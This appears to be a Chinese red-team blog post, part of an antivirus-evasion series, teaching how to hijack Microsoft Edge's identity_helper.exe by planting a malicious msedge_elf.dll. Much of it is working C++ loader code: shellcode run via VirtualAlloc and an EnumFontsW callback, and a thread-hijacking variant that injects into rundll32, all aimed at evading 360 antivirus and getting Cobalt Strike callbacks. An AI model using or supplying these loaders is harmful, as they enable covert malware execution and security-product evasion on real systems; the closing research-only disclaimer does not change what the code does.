『免杀系列』DLL劫持

APT 3个月前 admin
53 0 0
『免杀系列』DLL劫持

点击蓝字 关注我们

『免杀系列』DLL劫持

日期:2024/08/15

作者:Corl

介绍:DLL劫持挖掘。


0x00 前言

白加黑的方式(DLL劫持)可以对抗360核晶,白就是此文件在杀软的白名单中,不会被杀软查杀,黑就是我们自己编写的带恶意代码的dll文件,那么怎么进行白加黑的挖掘呢?

0x01 DLL劫持原理

首先来理解DLLWindows系统中的作用,DLL全称Dynamic Link Library,称为动态链接库,在Windows系统中,大多数程序并不是一个单独的可执行文件,而是有一些单独的存放动态链接库在系统中,当需要某些功能时,通过DLL执行相应的功能,即DLL调用。

『免杀系列』DLL劫持

那么既然程序执行某些功能时,可能会通过DLL调用,从利用角度来看,如果替换了这个DLL文件,或则导出了原DLL的导出函数并恶意构造,在原程序运行时调用了我们预先构造好的恶意DLL,那么就达到了劫持的效果。

0x02 DLL加载顺序

Windows 7之后:微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。KnownDLLs列表,注册表查询如下:

reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs"
『免杀系列』DLL劫持

加载顺序:

1.EXE所在目录2.当前目录3.系统目录(C:WindowsSystem32目录)4.Windows目录(C:Windows5.环境变量PATH所包含的目录

0x03 Dll劫持挖掘

首先,把想要劫持的exe拖到一个空的文件夹中。如果想查看所加载的dll,最简单的方法就是直接去双击exe,如果缺少dll,那么就会进行弹框提示,但是这种方法并不可以找到全部所加载的dll文件。双击运行identity_helper.exe,会提示找不到msedge_elf.dll

『免杀系列』DLL劫持

第二种方法就是使用process Monitor Filter,该工具可以看到运行该exe所加载的全部dll文件。运行process Monitor Filter工具,添加过滤条件。

『免杀系列』DLL劫持

identity_helper.exe进程进行监控,重点关注程序所在目录的dll,可以看见缺少msedge_elf.dlldbghelp.dllWINMM.dll

『免杀系列』DLL劫持

使用CFF Explorer工具,打开identity_helper.exe,查看文件位数以及导入目录。这里以劫持msedge_elf.dll为例,点击msedge_elf.dll就可以看到该dll存在GetInstallDetailsPayloadSignalInitializeCrashReporting导出函数。

『免杀系列』DLL劫持

自定义GetInstallDetailsPayloadSignalInitializeCrashReporting函数。

extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){}extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}

使用MessageBox进行弹框,看看该exe是否使用了该函数,如果使用了该函数,那么程序运行的时候就会弹框。分别在GetInstallDetailsPayloadSignalInitializeCrashReportingdllmain中添加。

MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK);

代码如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <Windows.h>

extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){ MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() { MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

可以看出首先运行的是dllmain中的,然后再是GetInstallDetailsPayload,其次是SignalInitializeCrashReporting

『免杀系列』DLL劫持
『免杀系列』DLL劫持

『免杀系列』DLL劫持

既然在dllmainGetInstallDetailsPayloadSignalInitializeCrashReporting中都会执行,首先在dllmain中添加恶意代码,进行上线测试。

    unsigned char payload[] = {shellcode};    void* p = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(p, payload, sizeof(payload));    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);

双击运行identity_helper.exe,可见identity_helper.exe已经在运行中了。

『免杀系列』DLL劫持

但是cs并没有上线,为啥呢???

『免杀系列』DLL劫持

因为dllmain存在死锁问题,那么怎么解决dllmain死锁问题呢,就是使用导出函数上线。

『免杀系列』DLL劫持

把恶意代码复制进GetInstallDetailsPayload函数中,运行identity_helper.exe成功上线。

『免杀系列』DLL劫持

完整代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <Windows.h>

extern "C" __declspec(dllexport) void GetInstallDetailsPayload() { unsigned char payload[] = {shellcode}; void* p = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(p, payload, sizeof(payload)); EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: {} case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

那么,除了使用导出函数上线,dllmain就没有办法上线了吗???

『免杀系列』DLL劫持

这肯定不是的,如果要想使用dllmain进行上线,可以使用进程注入或线程劫持的方式上线,但都不是在原进程上线。这里采用线程劫持的方式上线的方式上线,x64劫持的就是ripx86劫持的就是eip,劫持的进程为rundll32

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <Windows.h>
extern "C" __declspec(dllexport) void GetInstallDetailsPayload() {}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}unsigned char payload[] = {shellcode};SIZE_T payload_len = sizeof(payload);
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: {
STARTUPINFOA si = { 0 }; si.cb = sizeof(si); PROCESS_INFORMATION pi = { 0 }; CreateProcessA(NULL, (LPSTR)"rundll32", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); SuspendThread(pi.hThread); LPVOID Buffer = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, Buffer, payload, payload_len, NULL); CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread, &ctx); ctx.Rip = (DWORD64)Buffer; SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
『免杀系列』DLL劫持

0x04 总结

DLL劫持上线分为两种,一种是dllmain上线,但是会存在死锁问题,要想在dllmain上线,可以使用进程注入或线程劫持的方式,另一种就是导出函数上线。除了手动去进行挖掘DLL劫持,那么还可以尝试使用工具去进行挖掘,最后祝大家挖到好用的白加黑。

『免杀系列』DLL劫持

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程研究中心”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

『免杀系列』DLL劫持


原文始发于微信公众号(宸极实验室):『免杀系列』DLL劫持

版权声明:admin 发表于 2024年8月15日 下午5:04。
转载请注明:『免杀系列』DLL劫持 | CTF导航

相关文章